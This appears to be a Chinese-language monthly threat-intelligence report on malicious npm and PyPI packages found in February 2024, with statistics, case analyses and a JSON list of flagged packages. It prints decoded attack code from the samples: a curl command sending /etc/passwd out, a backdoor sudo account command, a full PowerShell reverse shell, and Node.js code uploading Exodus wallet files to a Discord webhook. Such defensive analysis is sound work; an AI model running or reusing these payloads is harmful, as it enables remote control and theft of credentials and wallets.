2024年2月份投毒包总量
2024年2月份投毒包每日统计
结合源代码分析、动态行为监控等方式,我们对2月份捕获的开源组件投毒包进行多维度分析,总结统计出主流的攻击方式和恶意行为标签。
投毒攻击方式主要包括:
- 恶意文件执行
- 代码混淆执行
- 恶意文件下载
- shell命令执行
- 恶意文件释放
其中,恶意文件执行是最常用的攻击方式(占比78.13%),其主要攻击流程是利用开源组件包管理器在安装组件包过程中利用自定义的恶意指令来加载并执行内置在组件包中的恶意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外,在组件安装包中直接嵌入恶意shell命令(占比8.87%)、恶意文件下载(占比4.28%)及恶意文件释放后执行也是投毒者惯用的攻击手法。为了逃避安全检测,部分恶意包使用了代码编码、加密及混淆(占比7.61%)等方式进行恶意代码隐藏。
攻击方式统计
在所有投毒包的恶意行为中,窃取系统信息占比超过85%,信息窃取的主要目标是开发者系统的密码文件、用户信息、网络配置、系统版本、DNS服务器IP、系统外网IP、浏览器cookie等敏感数据。其次,远控木马和反向shell后门攻击紧随其后(两者之和占比约10%)。此外,在2月里捕获到多起盗取数字钱包客户端敏感数据的投毒攻击。值得一提的是,我们在npm组件投毒中首次捕获到通过添加Linux系统后门账户进行远程控制的攻击手段。
恶意标签统计
敏感信息窃取
知名python组件django
djanggo恶意包通过在安装文件setup.py中重定义cmdclass install及egg_info实现在安装时自动触发执行恶意函数RunCommand()。
RunCommand()函数内部通过subprocess模块调用linux系命令curl将当前系统环境变量、进程列表等信息通过HTTP POST外传到攻击者服务器上。
此外,多个NPM恶意组件包(lib-comdig、bubble-dev)在安装过程中存在窃取系统密码文件的行为。以恶意包bubble-dev为例,其安装包的package.json文件中包含恶意shell命令:
攻击者尝试利用preinstall指令在NPM包安装前执行恶意命令将系统/etc/passwd密码文件及主机名等敏感信息外传到攻击者服务器上。
/usr/bin/curl --data
'@/etc/passwd'
$(hostname)
.7
ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.net
系统后门账户
bash恶意代码如下所示:
wget -q https:
//ezstat.ru/29U6f5; sudo useradd -m -G sudo -s /bin/bash -p $(openssl passwd -1 ICEWATER) systst2 && echo "systst2 ALL=(ALL:ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers > /dev/null;
先通过wget请求将受害者系统出网IP泄露给攻击者,接着利用useradd命令在系统中添加新的用户账户;最后使用tee命令将新用户账户添加到sudoers文件中,将新账户权限提升到sudo权限。
反向shell后门
以Python恶意包isred为例,该投毒包目标针对Linux系统,攻击者在isred模块入口文件__init__.py中使用socket将受害者系统shell标准输入、输出重定向到攻击者服务器 (0.tcp.au.ngrok.io:16311),从而实现对受害者系统的反向shell远控。
对于NPM仓库的ts-patch-moongoose恶意包,目标主要针对Windows系统,其恶意文件mongoose.js通过调用child_process模块执行base64编码的powershell恶意命令。
解码后的实际powershell代码如下所示:
Start-Process $PSHOMEpowershell.exe -ArgumentList {$cc4b3e0706be478095235bdbc5479fde = New'-Obje'ct System.Net.Sockets.TCPClient('84.77.69.69',4443);$4bdf71701e4e45a48bd66974a36d1fd8 = $cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98 = 0..65535|%{0};while(($i = $4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98, 0, $b72dd70b9b5c4635b410c3eda039db98.Length)) -ne 0){;$ff887d09535d46489582d67f05e7d60f = (Ne'w-Ob'ject -TypeName System.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0, $i);$e9f33eef377548fdb8e212aaecec6b47 = (iex $ff887d09535d46489582d67f05e7d60f 2>&1 | Out-String );$0e7cb537947a4905b36e36b8ef25f955 = $e9f33eef377548fdb8e212aaecec6b47 + 'PS ' + (p'w'd).Path + '> ';$986886c1059c495ebc37a28fa8735419 = ([text.encoding]::ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()} -WindowStyle Hidden
恶意PowerShell代码通过System.Net.Sockets.TCPClient接口将windows系统cmd shell反弹到攻击者控制的服务器端口84.77.69.69:4443上,从而达到对受害者系统进行远程shell后门控制。(详细分析可参考:供应链投毒预警 | 恶意NPM包利用Windows反向shell后门攻击开发者)
远控木马
以恶意包tls-session为例,其安装包内置了包含有恶意代码的SSL/TLS 客户端组件tls-client,tls-client在pypi仓库上的周下载量超过3万。
python组件tls-client下载量统计
组件包tls-session通过克隆tls-client v1.0.1版本项目代码,并在tls-client的__init__.py文件中植入base64编码的恶意代码。
base64代码解码后得到真实的攻击代码:
https:
/
/cdn.discordapp.com/attachments
/1204168698395627610/
1205543621294817332
/Built.exe
Built.exe已被多款杀毒引擎判定为木马
数字钱包窃密
去混淆后还原出核心恶意代码:
const { exec } = require('child_process');
const fs = require('fs');
const FormData = require('form-data');
const axios = require('axios');
function uploadFilesToDiscord() {
exec('echo %username%', (error, stdout, stderr) => {
if (error) {
console.error(`exec error: ${error}`);
return;
}
const username = stdout.trim();
const folderPath = `C:\Users\${username}\AppData\Roaming\Exodus\exodus.wallet`;
fs.access(folderPath, fs.constants.F_OK, (err) => {
if (err) {
console.error(`Windows Only`);
return;
}
fs.readdir(folderPath, (err, files) => {
if (err) {
console.error(`Windows Only`);
return;
}
files.forEach(file => {
const filePath = `${folderPath}\${file}`;
const formData = new FormData();
const fileStream = fs.createReadStream(filePath);
formData.append('file', fileStream, file);
axios.post('https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3x', formData, {
headers: formData.getHeaders()
}).then(response => {
//console.log(`File uploaded successfully.`);
}).catch(error => {
// console.error(`Error uploading file: ${error}`);
});
});
});
});
});
}
module.exports = uploadFilesToDiscord;
代码逻辑主要是遍历Exodus 数字钱包应用目录(“C:\Users\${username}\AppData\Roaming\Exodus\exodus.wallet”)下的每个文件,并将每个文件内容通过HTTP POST方式外传到投毒者Discord Webhook接口上 。
https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3x
BladeroidStealer盗号
Sniper系列投毒包的核心恶意代码使用aes-256-cbc进行加密保护:
代码解密后可明显发现代码中存在多处涉及BladeroidStealer代号的相关内容。
BladeroidStealer主要功能函数列表如下所示:
以getCookiesAndSendWebhook()函数为例,其功能是从浏览器本地cookie文件中提取主流社区账号(instagram、tiktok、reddit、spotify)的sessionid。
提取到sessionid后,会进一步使用sessionid从官方接口拉取详细的用户信息。以tiktok为例,stealTikTokSession() 函数负责盗取tiktok用户数据、浏览记录以及支付账户等敏感信息。
盗取的账户数据最终发送到攻击者Webhook接口上(https://Bladeroid.xyz/webhooks/)
[
{
"product"
:
"browser-spoof"
,
"version"
:
"[1.0.0, 1.0.1, 1.0.2, 1.0.3]"
,
"language"
:
"javascript"
,
"id"
:
"XMIRROR-MAL45-52335BC9"
,
"description"
:
"NPM组件browser-spoof存在恶意代码,添加系统后门账号。"
,
"release_date"
:
"2024-02-01"
},
{
"product"
:
"request-get"
,
"version"
:
"[0.0.1]"
,
"language"
:
"python"
,
"id"
:
"XMIRROR-MAL45-FFC0ABA0"
,
"description"
:
"Python组件request-get存在恶意代码,远程下载执行恶意木马程序。"
,
"release_date"
:
"2024-02-09"
},
{
"product"
:
"tls-session"
,
"version"
:
"[0.0.1]"
,
"language"
:
"python"
,
"id"
:
"XMIRROR-MAL45-DF56DBE2"
,
"description"
:
"Python组件tls-session存在恶意代码,远程下载执行恶意木马程序。"
,
"release_date"
:
"2024-02-09"
},
{
"product"
:
"requests-http"
,
"version"
:
"[0.0.1]"
,
"language"
:
"python"
,
"id"
:
"XMIRROR-MAL45-861A7D37"
,
"description"
:
"Python组件requests-http存在恶意代码,远程下载执行恶意木马程序。"
,
"release_date"
:
"2024-02-09"
},
{
"product"
:
"requests-sessions"
,
"version"
:
"[0.0.1]"
,
"language"
:
"python"
,
"id"
:
"XMIRROR-MAL45-1DB581B5"
,
"description"
:
"Python组件requests-sessions存在恶意代码,远程下载执行恶意木马程序。"
,
"release_date"
:
"2024-02-09"
},
{
"product"
:
"ts-patch-moongoose"
,
"version"
:
"[1.0.0, 2.0.0]"
,
"language"
:
"javascript"
,
"id"
:
"XMIRROR-MAL45-1E9AA373"
,
"description"
:
"NPM组件ts-patch-moongoose存在恶意代码,利用反向shell后门攻击Windows系统开发者。"
,
"release_date"
:
"2024-02-19"
},
{
"product"
:
"djanggo"
,
"version"
:
"[0.0.6, 0.0.7, 0.0.8]"
,
"language"
:
"python"
,
"id"
:
"XMIRROR-MAL45-9FEF6120"
,
"description"
:
"Python组件djanggo存在恶意代码,可盗取系统敏感数据。"
,
"release_date"
:
"2024-02-26"
},
{
"product"
:
"lib-comdig"
,
"version"
:
"[6.6.6, 6.6.7]"
,
"language"
:
"javascript"
,
"id"
:
"XMIRROR-MAL45-76F5CE36"
,
"description"
:
"NPM组件lib-comdig存在恶意代码,盗取系统密码文件。"
,
"release_date"
:
"2024-02-27"
},
{
"product"
:
"object-window-dtc"
,
"version"
:
"[1.0.0, 1.0.1, 1.0.3, 1.0.4]"
,
"language"
:
"javascript"
,
"id"
:
"XMIRROR-MAL45-16765C09"
,
"description"
:
"NPM组件object-window-dtc存在恶意代码,盗取Exodus数字钱包。"
,
"release_date"
:
"2024-02-27"
},
{
"product"
:
"isred"
,
"version"
:
"[0.0.6, 0.0.7, 0.0.8]"
,
"language"
:
"python"
,
"id"
:
"XMIRROR-MAL45-97A13EBC"
,
"description"
:
"Python组件isred存在恶意代码,利用反向shell后门进行系统远程控制。"
,
"release_date"
:
"2024-02-28"
},
{
"product"
:
"sniperv2"
,
"version"
:
"[1.0.0]"
,
"language"
:
"javascript"
,
"id"
:
"XMIRROR-MAL45-832140F"
,
"description"
:
"NPM组件sniperv2存在BladeroidStealer恶意代码,盗取主流设计平台账户凭证。"
,
"release_date"
:
"2024-02-28"
},
{
"product"
:
"sniperv1"
,
"version"
:
"[1.0.0]"
,
"language"
:
"javascript"
,
"id"
:
"XMIRROR-MAL45-231F47CC"
,
"description"
:
"NPM组件sniperv1存在BladeroidStealer恶意代码,盗取主流设计平台账户凭证。"
,
"release_date"
:
"2024-02-28"
},
{
"product"
:
"snipersee"
,
"version"
:
"[1.0.0]"
,
"language"
:
"javascript"
,
"id"
:
"XMIRROR-MAL45-1EDD99BD"
,
"description"
:
"NPM组件snipersee存在BladeroidStealer恶意代码,盗取主流设计平台账户凭证。"
,
"release_date"
:
"2024-02-28"
},
{
"product"
:
"sniperser"
,
"version"
:
"[1.0.0]"
,
"language"
:
"javascript"
,
"id"
:
"XMIRROR-MAL45-1B5E1D2B"
,
"description"
:
"NPM组件sniperser存在BladeroidStealer恶意代码,盗取主流设计平台账户凭证。"
,
"release_date"
:
"2024-02-28"
},
{
"product"
:
"bubble-dev"
,
"version"
:
"[50.1.1, 90.1.1, 90.2.2]"
,
"language"
:
"javascript"
,
"id"
:
"XMIRROR-MAL45-BC4F85A5"
,
"description"
:
"NPM组件bubble-dev存在恶意代码,盗取系统密码文件。"
,
"release_date"
:
"2024-02-28"
}
]
悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。
原文始发于微信公众号(白帽子):供应链投毒预警 | 开源供应链投毒202402月报发布啦
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论